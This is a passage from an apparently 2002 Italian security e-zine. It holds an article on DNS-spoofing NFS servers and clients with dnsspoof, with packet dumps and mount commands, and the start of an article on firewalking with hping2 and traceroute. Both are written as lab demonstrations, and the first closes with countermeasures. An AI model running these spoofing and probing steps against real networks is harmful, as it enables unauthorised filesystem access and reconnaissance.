query intesa a risolvere l'hostname trust.linuxbox.com | | che si trova nel file /etc/exports, questa operazione viene eseguita a | | tempo di boot o su richiesta dell'admin... | | | | 02/20-13:18:28.242207 192.168.1.5:53 -> 192.168.1.7:1072 | | UDP TTL:64 TOS:0x0 ID:395 IpLen:20 DgmLen:114 | | Len: 94 | | 4F 5D 85 80 00 01 00 01 00 01 00 01 05 74 72 75 O]...........tru | | 73 74 08 6C 69 6E 75 78 62 6F 78 03 63 6F 6D 00 st.linuxbox.com. | | 00 01 00 01 C0 0C 00 01 00 01 00 01 51 80 00 04 ............Q... | | C0 A8 01 06 C0 12 00 02 00 01 00 01 51 80 00 06 ............Q... | | 03 64 6E 73 C0 12 C0 40 00 01 00 01 00 01 51 80 .dns...@......Q. | | 00 04 C0 A8 01 05 ...... | | | | =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ | | | | Il server DNS restituisce a victim la risposta contenente l'IP dell'host | | trust.linuxbox.com ovvero 192.168.1.6, in fututo quando il server NFS | | riceverà una richiesta di mount remota confronterà l'indirizzo IP del | | richiedente con quello ottenuto da questa reply e nel qual caso | | dovessero risultare uguali permetterà il pieno accesso al filesystem. | | | | [...] | | | | La stessa query si ripete moltplici volte di conseguenza l'output | | restante di Snort è stato omesso in quanto ritenuto poco significativo. | | Se ora dovessimo provare a fare mount da un sistema diverso da trust il | | risultato sarebbe il seguente: | | | | attacker@attack:~# mount 192.168.1.7:/home/ftp /mnt/nfs | | mount: 192.168.1.7:/home/ftp failed, reason given by server: Permission | | denied | | | | Come atteso la nostra richiesta di mount viene scartata in quanto | | proviene dall'IP 192.168.1.4 (attack) che è ben diverso dall'IP | | 192.168.1.6 (trust) risolto a boot time. | | E' importante notare che nel momento della richiesta di mount da parte | | di un client remoto il server NFS non ha la necessità di consultare il | | DNS in quanto la risoluzione dell'hostname è avvenuta a tempo di boot. | | | | Ne consegue che se un malintenzionato volesse eludere i controlli di | | sicurezza di NFS dovrebbe agire durante il processo di avvio del server, | | qui di seguito mi limito ad illustrare in pochi e semplici passi come | | potrebbe procedere al fine di perseguire il suo scopo: | | | | attacker@attack:~# dnsspoof -f ~/hosts.txt | | dnsspoof: listening on eth0 [udp dst port 53 and not src 192.168.1.4] | | | | L'attacker mette in ascolto Dnsspoof sul proprio sistema in attesa di | | intercettare le DNS query causate dall'inizializzazione dei servizi NFS | | sulla macchina della vittima, nell'intento di restituire a victim delle | | reply a tali interrogazioni che riportino come IP del sistema trust l'IP | | stesso dell'host da cui l'attacker sta operando, ovvero 192.168.1.4. Le | | reply fasulle forgiate da Dnsspoof dovranno giungere a victim prima che | | tale sistema sia raggiunto dalle reply lecite inviategli dal DNS. | | | | Qui di seguito vediamo i messaggi che il server victim invia verso | | l'output standard a testimonianza del fatto che sta procedendo all' | | inizializzazione di tali servizi: | | | | Starting NFS services: | | /usr/sbin/exportfs -r | | /usr/sbin/rpc.rquotad | | /usr/sbin/rpc.nfsd 8 | | /usr/sbin/rpc.mountd --no-nfs-version 3 | | /usr/sbin/rpc.lockd | | /usr/sbin/rpc.statd | | | | Segue poi l'output di Dnsspoof che ha catturato e risposto a 4 query | | rivolte al nameserver (192.168.1.5) da parte di victim (192.168.1.7): | | | | attacker@attack:~# dnsspoof -f ~/hosts.txt | | dnsspoof: listening on eth0 [udp dst port 53 and not src 192.168.1.4] | | 192.168.1.7.1074 > 192.168.1.5.53: 62892+ A? trust.linuxbox.com | | 192.168.1.7.1074 > 192.168.1.5.53: 62893+ A? trust.linuxbox.com | | 192.168.1.7.1076 > 192.168.1.5.53: 6343+ A? trust.linuxbox.com | | 192.168.1.7.1076 > 192.168.1.5.53: 6344+ A? trust.linuxbox.com | | | | Vediamo il tutto dalla prospettiva offerta da Snort, ovvero come si | | sono svolte le cose a livello di pacchetto: | | | | attacker@attack:~# snort -vd udp port 53 | | 02/20-14:29:39.685629 192.168.1.7:1074 -> 192.168.1.5:53 | | UDP TTL:145 TOS:0x0 ID:8247 IpLen:20 DgmLen:64 DF | | Len: 44 | | F5 AC 01 00 00 01 00 00 00 00 00 00 05 74 72 75 .............tru | | 73 74 08 6C 69 6E 75 78 62 6F 78 03 63 6F 6D 00 st.linuxbox.com. | | 00 01 00 01 .... | | | | =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ | | | | 02/20-14:29:39.686343 192.168.1.5:53 -> 192.168.1.7:1074 | | UDP TTL:64 TOS:0x0 ID:416 IpLen:20 DgmLen:114 | | Len: 94 | | F5 AC 85 80 00 01 00 01 00 01 00 01 05 74 72 75 .............tru | | 73 74 08 6C 69 6E 75 78 62 6F 78 03 63 6F 6D 00 st.linuxbox.com. | | 00 01 00 01 C0 0C 00 01 00 01 00 01 51 80 00 04 ............Q... | | C0 A8 01 06 C0 12 00 02 00 01 00 01 51 80 00 06 ............Q... | | 03 64 6E 73 C0 12 C0 40 00 01 00 01 00 01 51 80 .dns...@......Q. | | 00 04 C0 A8 01 05 ...... | | | | =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ | | | | Questo secondo pacchetto è giunto a destinazione (victim) ma è stato | | ignorato in quanto PRECEDUTO dalla risposta fasulla fornita da Dnsspoof. | | Ora non ci resta che terminare l'esecuzione di Dnsspoof e accedere alle | | condivisioni di victim come se fossimo l'host legittimo: | | | | attacker@attack:~# mount 192.168.1.7:/home/ftp /mnt/nfs | | attacker@attack:~# | | | | Ora abbiamo accesso in sola lettura (ro) al ramo del filesystem remoto, | | e possiamo incominciare a riflettere sui reali problemi in cui possiamo | | incorrere a causa di un'amministrazione superficiale di tali risorse. | | | | 5.2 Exportfs | | Questo comando viene utilizzato per mantenere aggiornata la tabella | | delle condivisioni sul sistema server, in particolare è lo script di | | inizializzazione dei servizi NFS stesso a preoccuparsi di svolgere tale | | mansione per mezzo della chiamata exportfs -r. | | Tuttavia tale comando può contribuire ad aprire un varco nella sicurezza | | del sistema qualora venga richiamato in un tempo successivo all' | | esecuzione del demone mountd, questo può verificarsi a causa di uno | | script inaffidabile o per mano dell'admin che richiama tale comando da | | console. | | Ho effettuato questa scoperta in maniera del tutto casuale durante i | | probe che ho effettuato lungo il corso della stesura del presente | | articolo, premetto che ho avuto modo di testare il presunto bug solo su | | un sistema che monta Slackware8.0 e kernel 2.4.17. | | | | Ecco un esempio, mettiamo che l'admin decida di modificare il file | | /etc/exports e di conseguenza debba aggiornare le tabelle delle | | condivisioni con l'ausilio di exportfs -r senza prima provvedere all' | | arresto dei demoni interessati: | | | | victim@victim:~# exportfs -r | | | | Come possiamo vedere dall'output di Snort riportato qui di seguito, il | | file /etc/exports viene processato e l'hostname (trust) contenuto in | | esso viene risolto nell'IP corrispondente (192.168.1.6): | | | | attacker@attack:~# snort -vd udp port 53 | | 02/20-14:49:48.213636 192.168.1.7:1079 -> 192.168.1.5:53 | | UDP TTL:236 TOS:0x0 ID:19927 IpLen:20 DgmLen:64 DF | | Len: 44 | | CD 39 01 00 00 01 00 00 00 00 00 00 05 74 72 75 .9...........tru | | 73 74 08 6C 69 6E 75 78 62 6F 78 03 63 6F 6D 00 st.linuxbox.com. | | 00 01 00 01 .... | | | | =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ | | | | 02/20-14:49:48.214328 192.168.1.5:53 -> 192.168.1.7:1079 | | UDP TTL:64 TOS:0x0 ID:426 IpLen:20 DgmLen:114 | | Len: 94 | | CD 39 85 80 00 01 00 01 00 01 00 01 05 74 72 75 .9...........tru | | 73 74 08 6C 69 6E 75 78 62 6F 78 03 63 6F 6D 00 st.linuxbox.com. | | 00 01 00 01 C0 0C 00 01 00 01 00 01 51 80 00 04 ............Q... | | C0 A8 01 06 C0 12 00 02 00 01 00 01 51 80 00 06 ............Q... | | 03 64 6E 73 C0 12 C0 40 00 01 00 01 00 01 51 80 .dns...@......Q. | | 00 04 C0 A8 01 05 ...... | | | | =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ | | | | [...] | | | | A questo punto nel momento stesso in cui facciamo il primo tentativo di | | mount da un host non autorizzato notiamo una cosa molto strana, ossia... | | | | attacker@attack:~# mount 192.168.1.7:/home/ftp /mnt/nfs | | mount: 192.168.1.7:/home/ftp failed, reason given by server: Permission | | denied | | | | Osservando l'output di Snort riportato qui di seguito possiamo notare | | che in presenza del primo tentativo di mount del filesystem remoto si | | verificano ripetute query al DNS da parte di victim intese a risolvere | | l'hostname (trust) contenuto nel file /etc/exports: | | | | attacker@attack:~# snort -vd udp port 53 | | 02/20-14:52:05.417517 192.168.1.7:1079 -> 192.168.1.5:53 | | UDP TTL:197 TOS:0x0 ID:25875 IpLen:20 DgmLen:64 DF | | Len: 44 | | 28 CB 01 00 00 01 00 00 00 00 00 00 05 74 72 75 (............tru | | 73 74 08 6C 69 6E 75 78 62 6F 78 03 63 6F 6D 00 st.linuxbox.com. | | 00 01 00 01 .... | | | | =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ | | | | 02/20-14:52:05.418237 192.168.1.5:53 -> 192.168.1.7:1079 | | UDP TTL:64 TOS:0x0 ID:429 IpLen:20 DgmLen:114 | | Len: 94 | | 28 CB 85 80 00 01 00 01 00 01 00 01 05 74 72 75 (............tru | | 73 74 08 6C 69 6E 75 78 62 6F 78 03 63 6F 6D 00 st.linuxbox.com. | | 00 01 00 01 C0 0C 00 01 00 01 00 01 51 80 00 04 ............Q... | | C0 A8 01 06 C0 12 00 02 00 01 00 01 51 80 00 06 ............Q... | | 03 64 6E 73 C0 12 C0 40 00 01 00 01 00 01 51 80 .dns...@......Q. | | 00 04 C0 A8 01 05 ...... | | | | =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ | | | | [...] | | | | Facciamo il punto della situazione: | | - i demoni stavano runnando | | - viene richiamato exportfs -r | | - trust.linuxbox.com viene risolto in 192.168.1.6 | | - tale IP viene memorizzato per impedire query durante le richieste di | | mount che potranno verificarsi in futuro e che sarebbero altriementi | | soggette a vulnerabilità dovute al DNS spoofing | | - prima richiesta di mount | | - viene nuovamente richieta la risoluzione di trust!!! | | | | In parole povere, se exportfs -r è stato richiamato mentre mountd stava | | runnando e siamo i primi a richiedere il mount allora causeremo una | | query DNS da parte di victim e saremo in grado di fornire una risposta | | arbitraria avvalendosi di Dnsspoof e permettendo il mount del filesystem | | da parte dell'host desiderato! | | | | Ad esempio, l'admin ha appena modificato il file delle esportazioni e | | desidera che le modifiche apportate abbiano effetto, a tale scopo esegue | | il comando necessario (il demone mountd è in esecuzione): | | | | victim@victim:~# exportfs -r | | | | Terminata l'esecuzione del comando exportfs, l'attacker pone Dnsspoof in | | ascolto sull'interfaccia di rete e... | | | | attacker@attack:~# dnsspoof -f ~/hosts.txt | | dnsspoof: listening on eth0 [udp dst port 53 and not src 192.168.1.4] | | | | ...si prepara a richiedere il mount: | | | | attacker@attack:~# mount 192.168.1.7:/home/ftp /mnt/nfs | | attacker@attack:~# | | | | le query rivolte a risolvere l'hostname di trust.linuxbox.com vengono | | intercettate e le risposte fasulle vengono inviate al server NFS victim | | che permette il mount da parte del sistema attacker: | | | | attacker@attack:~# dnsspoof -f ~/hosts.txt | | dnsspoof: listening on eth0 [udp dst port 53 and not src 192.168.1.4] | | 192.168.1.7.1034 > 192.168.1.5.53: 43182+ A? trust.linuxbox.com | | 192.168.1.7.1034 > 192.168.1.5.53: 43183+ A? trust.linuxbox.com | | | | 5.3 NFS client bypass | | Ora la situazione si è invertita, la vittima è il client NFS e deve | | accedere al server NFS trust.linuxbox.com al quale ha accesso regolare. | | Lo scopo di colui che attacca è quello di far connettere in maniera del | | tutto inconsapevole la vittima a un server NFS fasullo. | | Nell'esempio che mi accingo ad analizzare il server NFS "aggressivo" si | | trova sul sistema stesso dell'attacker da cui partirà l'attacco di DNS | | spoofing. Ancora una volta condizione necessaria alla riuscita dell' | | attacco è rappresentata dall'utilizzo del nome host da parte del lato | | client NFS al fine di accedere alle risorse remote. | | | | Hostname Indirizzi IP Descrizione | | | | attack.linuxbox.com 192.168.1.4 il server NFS fasullo | | dns.linuxbox.com 192.168.1.5 il server DNS | | trust.linuxbox.com 192.168.1.6 il server NFS "fidato" | | victim.linuxbox.com 192.168.1.7 il client NFS | | | | L'attacker deve disporre sul server NFS fasullo (in questo caso il | | sistema attack.linuxbox.com) un file exports che permetta l'accesso | | inconsapevole della vittima: | | | | /etc/exports: | | /home/ftp 192.168.1.7(ro) | | | | l'attacker mette in ascolto Dnsspoof, in questo modo qualsiasi richiesta | | di mount da parte di un client NFS che abbia come destinatario il | | sistema trust verrà reindirizzata verso il server NFS fasullo (attack) | | in maniera del tutto trasparente alla vittima: | | | | attacker@attack:~# dnsspoof -f ~/hosts.txt | | dnsspoof: listening on eth0 [udp dst port 53 and not src 192.168.1.4] | | | | La vittima richiede di montare la porzione di filesystem /home/ftp dal | | sistema trust... | | | | victim@victim:~# mount trust.linuxbox.com:/home/ftp /mnt/nfs | | victim@victim:~# | | | | ...in realtà la sua richiesta viene inoltrata a 192.168.1.4, IP | | suggeritogli dalla reply fasulla forgiata da Dnsspoof: | | | | attacker@attack:~# dnsspoof -f ~/hosts.txt | | dnsspoof: listening on eth0 [udp dst port 53 and not src 192.168.1.4] | | 192.168.1.7.1034 > 192.168.1.5.53: 62600+ A? trust.linuxbox.com | | | | Una pratica comune che sarebbe bene evitare è quella di inserire una | | voce in /etc/fstab che esegua il mount di un filesystem NFS, il fatto | | stesso di automatizzare l'operazione espone i client NFS a rischi ancora | | maggiori. | | | | Ora vi starete chiedendo, che interessi può avere un utente malizioso ad | | ingannare un client NFS al fine di forzare il mount di un filesystem | | differente da quello previsto? | | Ecco alcuni semplici esempi che mi limiterò a citare in quanto la loro | | trattazione non rientra nel tema principale di questo articolo: | | | | 1)molti sistemi con funzione di workstation montano le /home degli | | utenti da remoto a tempo di boot, se un attacker fosse in grado di | | forzare il mount in lettura/scrittura di una home fittizia che si trova | | sul proprio sistema potrebbe venire in possesso di dati di fondamentale | | importanza per l'integrità dell'account utente attaccato quali ad | | esempio .bash_history; | | | | 2)come nell'esempio precedente, se l'attacker fosse in grado di montare | | una directory home fittizia potrebbe inserire in essa script come | | .bash_profile o .bashrc in grado di eseguire potenzialmente qualsiasi | | operazione al momento del login della vittima; | | | | 3)se l'attacker ha accesso al sistema victim come utente generico e tale | | sistema, in seguito alla presenza di una voce nel file /etc/fstab, | | esegue un mount automatico tramite NFS potrà essere forzato a montare un | | filesystem aggressivo al fine di mettere a disposizione di attacker file | | potenzialmente dannosi per la sicurezza stessa del sistema, ad esempio | | suid shell o script perl setuserid. | | L'utilizzo delle opzioni nosuid e noexec del comando mount non sempre | | offrono la sicurezza sperata e possono essere aggirate agilmente con | | semplici accorgimenti: | | | | - nosuid NON impedisce l'esecuzione di script Perl tramite Suidperl; | | - noexec NON impedisce che i file dannosi vengano copiati su un altro | | filesystem dove potranno essere eseguiti. | | | | 6. Contromisure | | I servizi offerti da un server DNS sono vulnerabili allo spoofing a | | causa della totale assenza di un sistema di autenticazione. Un buon | | rimedio è rappresentato dall'utilizzo di software quale DNSSEC che | | applica una firma digitale per assicurare la provenienza legittima delle | | reply da parte di un server DNS autorizzato. | | Effetti collaterali quali la necessità di maggiore banda a disposizione, | | maggior mole di lavoro per la macchina e per l'amministratore del | | sistema sono la causa principale della lenta diffusione di DNSSEC. | | | | 7. Risorse | | Bind Howto | | man Dnsspoof | | NFS Howto | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | 0NDAQUADRA ~ [NETW0RKiNG] #06 - 25/04/2002 | | FiREWALKiNG [E4zy] 0x07/0x1D | +--------------------------------------------------------------------------+ | | | 1. TCP/IP Protocol | | | | 2. Firewalking | | | | 3. RFC 793, Transmission Control Protocol | | 3.1 Closed State | | 3.2 Listen State | | | | 4. Auditing delle ACL | | 4.1 Semplici deduzioni sui flag | | 4.2 ICMP message | | 4.3 Traceroute | | 4.4 UDP scan | | | | 5. Vulnerability | | 5.1 Check Point FireWall-1 | | 5.2 Syncookies | | | | 6. Backdoor | | | | 7. Risorse | | | | | | | | 1. TCP/IP Protocol | | Il presente articolo da per scontato che il lettore sia in possesso di | | buone conoscenze inerenti ai protocolli di rete e al loro funzionamento, | | per tanto tale argomento non verrà affrontato durante la trattazione di | | questo testo. | | | | 2. Firewalking | | Il termine firewalking è usato per indicare l'insieme di tecniche che | | permettono di identificare un router/firewall e le rispettive ACL(1). | | | | (1)ACL: Access Control List, è un termine usato per indicare l'insieme | | di regole adottate dai dispositivi a filtro di pacchetto per stabilire | | se il traffico su una data interfaccia sia lecito o meno. | | | | Tramite il firewalking un attacker è in grado di rilevare potenziali | | falle nella sicurezza del firewall al fine di ottenere un accesso non | | autorizzato alla rete interna. | | Lo scopo di questo articolo è descrivere nel dettaglio queste tecniche | | al fine di consentire l'applicazione delle stesse ad un amministratore | | che voglia testare con mano l'efficacia dei propri sistemi di | | protezione. | | | | 3. RFC 793, Transmission Control Protocol | | Gran parte delle tecniche che introdurrò nel corso della trattazione di | | questo articolo trovano le loro basi portanti nelle specifiche dei | | protocolli di rete e precisamente nel TCP. | | | | 3.1 Closed State | | (Dall'RFC 793) | | | | 1. If the connection does not exist (CLOSED) then a reset is sent | | in response to any incoming segment except another reset. In | | particular, SYNs addressed to a non-existent connection are rejected | | by this means. | | | | If the incoming segment has an ACK field, the reset takes its | | sequence number from the ACK field of the segment, otherwise the | | reset has sequence number zero and the ACK field is set to the sum | | of the sequence number and segment length of the incoming segment. | | The connection remains in the CLOSED state. | | | | A quanto pare possiamo dedurre che se inviamo un pacchetto ad un certo | | host su una porta che risulta chiusa esso ci risponderà con un pacchetto | | con flag RST attivo, a meno che il pacchetto che gli abbiamo mandato non | | contenesse a sua volta il solo flag RST impostato a 1. | | | | Ecco un esempio pratico di quanto ho appena detto, a tale scopo userò il | | tool Hping2 di Antirez che permette di forgiare pacchetti TCP adatti | | alle nostre esigenze: | | | | # hping2 -p 1 -S localhost | | HPING localhost (lo 127.0.0.1): S set, 40 headers + 0 data bytes | | len=40 ip=127.0.0.1 flags=RA seq=0 ttl=255 id=679 win=0 rtt=0.3 ms | | len=40 ip=127.0.0.1 flags=RA seq=1 ttl=255 id=680 win=0 rtt=0.2 ms | | len=40 ip=127.0.0.1 flags=RA seq=2 ttl=255 id=681 win=0 rtt=0.2 ms | | | | --- localhost hping statistic --- | | 3 packets tramitted, 3 packets received, 0% packet loss | | round-trip min/avg/max = 0.2/0.3/0.3 ms | | | | Ho inoltrato un pacchetto con flag SYN attivo alla porta 1 di localhost | | che si trova nello stato CLOSE, in risposta ho ottenuto un pacchetto RST | | (flags=RA, stà per RST/ACK) come pronosticato. | | | | Ora inviamo allo stesso host e alla stessa porta un pacchetto con flag | | RST attivo, come da specifiche RFC l'host non risponderà con alcun | | pacchetto: | | | | # hping2 -p 1 -R localhost | | HPING localhost (lo 127.0.0.1): R set, 40 headers + 0 data bytes | | | | --- localhost hping statistic --- | | 3 packets tramitted, 0 packets received, 100% packet loss | | round-trip min/avg/max = 0.0/0.0/0.0 ms | | | | 3.2 Listen State | | Bene, passiamo alla seconda osservazione che sorge spontanea osservando | | con occhio attento l'RFC del TCP: | | | | (Dall'RFC 793) | | | | 2. If the connection is in any non-synchronized state (LISTEN, | | SYN-SENT, SYN-RECEIVED), and the incoming segment acknowledges | | something not yet sent (the segment carries an unacceptable ACK), or | | if an incoming segment has a security level or compartment which | | does not exactly match the level and compartment requested for the | | connection, a reset is sent. | | | | [...] | | | | If the incoming segment has an ACK field, the reset takes its | | sequence number from the ACK field of the segment, otherwise the | | reset has sequence number zero and the ACK field is set to the sum | | of the sequence number and segment length of the incoming segment. | | The connection remains in the same state. | | | | Da queste righe traspare che se inviassimo un pacchetto con flag ACK | | attivo su una porta che si trova nello stato LISTEN avremo in risposta | | un pacchetto con flag RST pari a 1 (attivo), si prenda per esempio: | | | | # hping2 -p 80 -A localhost | | HPING localhost (lo 127.0.0.1): A set, 40 headers + 0 data bytes | | len=40 ip=127.0.0.1 flags=R seq=0 ttl=255 id=710 win=0 rtt=0.3 ms | | len=40 ip=127.0.0.1 flags=R seq=1 ttl=255 id=711 win=0 rtt=0.2 ms | | len=40 ip=127.0.0.1 flags=R seq=2 ttl=255 id=712 win=0 rtt=0.2 ms | | | | --- localhost hping statistic --- | | 3 packets tramitted, 3 packets received, 0% packet loss | | round-trip min/avg/max = 0.2/0.3/0.3 ms | | | | L'inoltro del pacchetto con flag ACK impostato a 1 verso la porta 80 | | (LISTEN) del sistema localhost ha causato, come risposta da parte dello | | stesso, un pacchetto RST (flags=R) come da specifiche del protocollo. | | | | Procedendo in maniera analoga mi è stato possibile isolare la seguente | | tabella che useremo da adesso in poi come riscontro dei nostri probe: | | | | ________________________________ | | | | | | | | | STATE | FLAG | REPLY | | | |__________|__________|__________| | | | Listen | NULL | None | | | | Listen | FIN | None | | | | Listen | RST | None | | | | Listen | ACK | RST | | | | Listen | SYN | SYN/ACK | | | | Closed | RST | None | | | | Closed | NULL | RST/ACK | | | | Closed | ACK | RST | | | | Closed | SYN | RST/ACK | | | | Closed | FIN | RST/ACK | | | | | | | 4. Auditing delle ACL | | | | 4.1 Semplici deduzioni sui flag | | La tecnica si basa su semplici deduzioni pertanto è bene procedere | | tenendo bene a mente la tabella riportata qui sopra, procederò nella | | spigazione aiutandomi con degli esempi al fine di risultare il più | | chiaro possibile: | | | | # hping2 -p 80 -S www.yahoo.it | | HPING www.yahoo.it (eth0 217.12.3.11): S set, 40 headers + 0 data bytes | | len=46 ip=217.12.3.11 flags=SA DF seq=0 ttl=51 id=19912 win=65535 [...] | | len=46 ip=217.12.3.11 flags=SA DF seq=1 ttl=51 id=56715 win=16384 [...] | | len=46 ip=217.12.3.11 flags=SA DF seq=2 ttl=51 id=41115 win=65535 [...] | | | | Il web server è in ascolto sulla porta 80 e risponde prontamente ad una | | richiesta di connessione (flag SYN=1) con un pacchetto SYN/ACK, tutto è | | andato come previsto. | | Ora proviamo ad inviare un pacchetto con il solo flag ACK attivo, quello | | che ci aspetteremo attenendoci alla solita tabella è di ricevere un RST: | | | | # hping2 -p 80 -A www.yahoo.it | | HPING www.yahoo.it (eth0 217.12.3.11): A set, 40 headers + 0 data bytes | | | | --- www.yahoo.it hping statistic --- | | 3 packets tramitted, 0 packets received, 100% packet loss | | round-trip min/avg/max = 0.0/0.0/0.0 ms | | | | Diversamente da quanto atteso non abbiamo ricevuto alcun pacchetto in | | risposta, quasi come se il nostro ACK fosse stato droppato(2). | | Cosa è andato storto? | | L'ipotesi più plausibile è che vi sia un firewall a filtro di pacchetto | | che blocchi qualsiasi pacchetto non sia inteso a stabilire una | | connessione con la porta in questione. | | | | (2)droppato: dall'inglese to drop, significa letteralmente lasciar | | cadere, si usa per indicare una richiesta che viene del tutto ignorata. | | | | Penso che abbiate capito come funziona...vero? | | Il segreto consiste nel rilevare una contraddizione tra il reply che | | normalmente ci si aspetta dallo stack TCP e il valore restituito | | dal probe. | | | | 4.2 ICMP message | | La specificità di alcuni messaggi di errore ICMP può fornire | | informazioni molto preziose riguardo alle caratteristiche stesse della | | rete che ha generato il messaggio. Una tecnica molto comune utilizzata | | per raccogliere informazioni si basa proprio sulla creazione di | | pacchetti appositamente studiati per generare un messaggio di errore | | ICMP da parte dell'host destinatario del pacchetto. | | | | Procedendo nell'analisi delle ACL ci capiterà di imbatterci in un ICMP | | di tipo 3 codice 13 che segnala la presenza di un filtro imposto dall' | | amministratore. | | Ogni qual volta otterremo in risposta ad un dato probe un ICMP di quel | | tipo non solo saremo al corrente della presenza di un firewall ma ne | | conosceremo l'indirizzo IP, il che rappresenta un gran vantaggio al fine | | di determinare il diretto responsabile del filtraggio del traffico | | illecito. Hping2 rileva e segnala la presenza di un filtro | | amministrativo in questo modo: | | | | # hping2 -p 79 -S www.libero.it | | HPING www.libero.it (eth0 195.210.91.83): S set, 40 headers + 0 data | | ICMP Packet filtered from ip=192.106.7.230 name=UNKNOWN | | ICMP Packet filtered from ip=192.106.7.230 name=UNKNOWN | | ICMP Packet filtered from ip=192.106.7.230 name=UNKNOWN | | | | --- www.libero.it hping statistic --- | | 6 packets tramitted, 0 packets received, 100% packet loss | | round-trip min/avg/max = 0.0/0.0/0.0 ms | | | | l'IP riportato non è necessariamente quello del sistema destinatario | | bensì del sistema che ha generato la risposta ICMP ovvero il firewall :) | | | | Vi sono molti modi di procedere al fine di causare l'emissione di un | | messaggio ICMP da parte di un sistema remoto, la mancata emissione dello | | stesso indica con tutta probabilità la presenza di un dispositivo | | filtrante. | | A tale scopo è importante consultare l'elenco dei tipi ICMP, l'ultimo | | aggiornamento di tale specifica è reperibile all'URL: | | | | http://www.iana.org/assignments/icmp-parameters | | | | 4.3 Traceroute | | Il traceroute è un tool che permette di ricavare i router/gateway | | interessati all'instradamento dei nostri pacchetti verso un sistema | | destinatario, fornisce in output i vari hop(3) che compie il pacchetto | | per raggiungere il sistema desiderato. | | | | (3)hop: salti, ogni router attraversato rappresenta un salto | | | | Ad ogni hop il campo TTL (Time To Live) del pacchetto viene decrementato | | di un'unità, il raggiungimento del valore 0 da parte di quest'ultimo | | causa un errore ICMP da parte dell'instradatore che ha processato il | | pacchetto. | | Traceroute invia un primo pacchetto verso l'host destinazione con TTL | | pari a 1 (che scadrà al primo salto causando un errore ICMP da parte | | dell'instradatore che ha processato il pacchetto), successivamente | | invierà al sistema destinatario altri pacchetti incrementando di volta | | in volta il campo TTL di un'unità fino all'effettivo raggiungimento del | | sistema target. | | Questo processo fornisce gli IP address di tutti i router interessati | | all'instradamento compreso l'eventuale dispositivo con funzioni di | | packet filtering. | | Qui di seguito sono riportati alcuni esempi che ne illustrano il | | funzionamento, gli IP address dei primi hop sono stati volutamente | | oscurati: | | | | # traceroute www.arianna.it | | traceroute to arianna.iol.it (195.210.91.187), 30 hops max, 40 byte | | 1 192.168.1.1 (192.168.1.1) 1.186 ms 2.035 ms 1.094 ms | | 2 xxx.x.xxx.xxx (xxx.x.xxx.xxx) 40.615 ms 40.612 ms 42.971 ms | | 3 xxx.x.xxx.xx (xxx.x.xxx.xx) 42.234 ms 42.148 ms 39.653 ms | | 4 xxx.x.xxx.xxx (xxx.x.xxx.xxx) 41.942 ms 43.718 ms 45.596 ms | | 5 gr-mi-b-v12.iunet.it (192.106.1.172) 43.810 ms 44.086 ms 44.008 ms | | 6 192.106.7.238 (192.106.7.238) 42.775 ms 43.245 ms 47.147 ms | | 7 * * * | | | | L'output del traceroute termina in maniera del tutto anomala al settimo | | hop indicando la presenza di un dispositivo con funzionalità di filtro | | di pacchetto, la nostra richiesta è stato droppata e il campo TTL non | | è stato decrementato con conseguente mancato ricevimento dell'ICMP error | | atteso. | | Il programma Traceroute utilizza di default pacchetti UDP per i propri | | probe, con tutta probabilità questi sono bloccati dalle rules del router | | che si trova in coincidenza del settimo salto. | | Possiamo utilizzare l'opzione -I per forzare il programma ad utilizzare | | il protocollo ICMP al fine di aggirare il filtro: | | | | # traceroute -I www.arianna.it | | traceroute to arianna.iol.it (195.210.91.187), 30 hops max, 40 byte | | 1 192.168.1.1 (192.168.1.1) 1.162 ms 1.181 ms 1.091 ms | | 2 xxx.x.xxx.xxx (xxx.x.xxx.xxx) 41.748 ms 41.655 ms 37.773 ms | | 3 xxx.x.xxx.xx (xxx.x.xxx.xx) 40.642 ms 43.297 ms 41.176 ms | | 4 xxx.x.xxx.xxx (xxx.x.xxx.xxx) 43.657 ms 42.232 ms 45.558 ms | | 5 gr-mi-b-v12.iunet.it (192.106.1.172) 41.181 ms 43.095 ms 47.625 ms | | 6 192.106.7.238 (192.106.7.238) 44.536 ms 43.700 ms 44.011 ms | | 7 arianna.iol.it (195.210.91.187) 45.323 ms 44.111 ms 42.984 ms | | | | Bene! Ora il trace è andato a buon fine ed ha percorso tutti i salti che | | ci separano dall'host destinatario, ora siamo a conoscenza dell'IP del | | firewall e siamo in grado di raccoglire ulteriori informazione riguardo | | alle sue ACL. | | | | Vediamo ora un altro esempio analogo: | | | | # traceroute -I www.xoom.it | | traceroute to xoom.it (212.66.231.5), 30 hops max, 40 byte packets | | 1 192.168.1.1 (192.168.1.1) 1.166 ms 1.165 ms 1.097 ms | | 2 xxx.x.xxx.xxx (xxx.x.xxx.xxx) 37.347 ms 39.567 ms 40.109 ms | | 3 xxx.x.xxx.xx (xxx.x.xxx.xx) 38.024 ms 40.095 ms 39.595 ms | | 4 xxx.x.xxx.xx (xxx.x.xxx.xx) 46.864 ms 43.164 ms 41.677 ms | | 5 gw-wind-mi6-pos-infostrada.wind.it (212.245.250.49) 44.291 ms [...] | | 6 c-mi2-fe2a.wind.it (212.245.36.130) 42.704 ms 44.094 ms 45.854 ms | | 7 212.245.53.30 (212.245.53.30) 55.765 ms 57.864 ms 55.785 ms | | 8 * * * | | | | In questo caso il router che si trova all'ottavo hop non solo blocca le | | richieste UDP ma anche ICMP, dovremo ricorrere dunque ad una tecnica | | leggermente differente per aggirare anche questa restrizione. | | | | Come avrete visto nell'esempio precedente il traceroute non riesce a | | fare il suo dovere in quanto i pacchetti da esso utilizzati non riescono | | a passare il filtro e di conseguenza non riescono a scadere generando | | l'ICMP che rivelerebbe l'identità del firewall. | | Proviamo 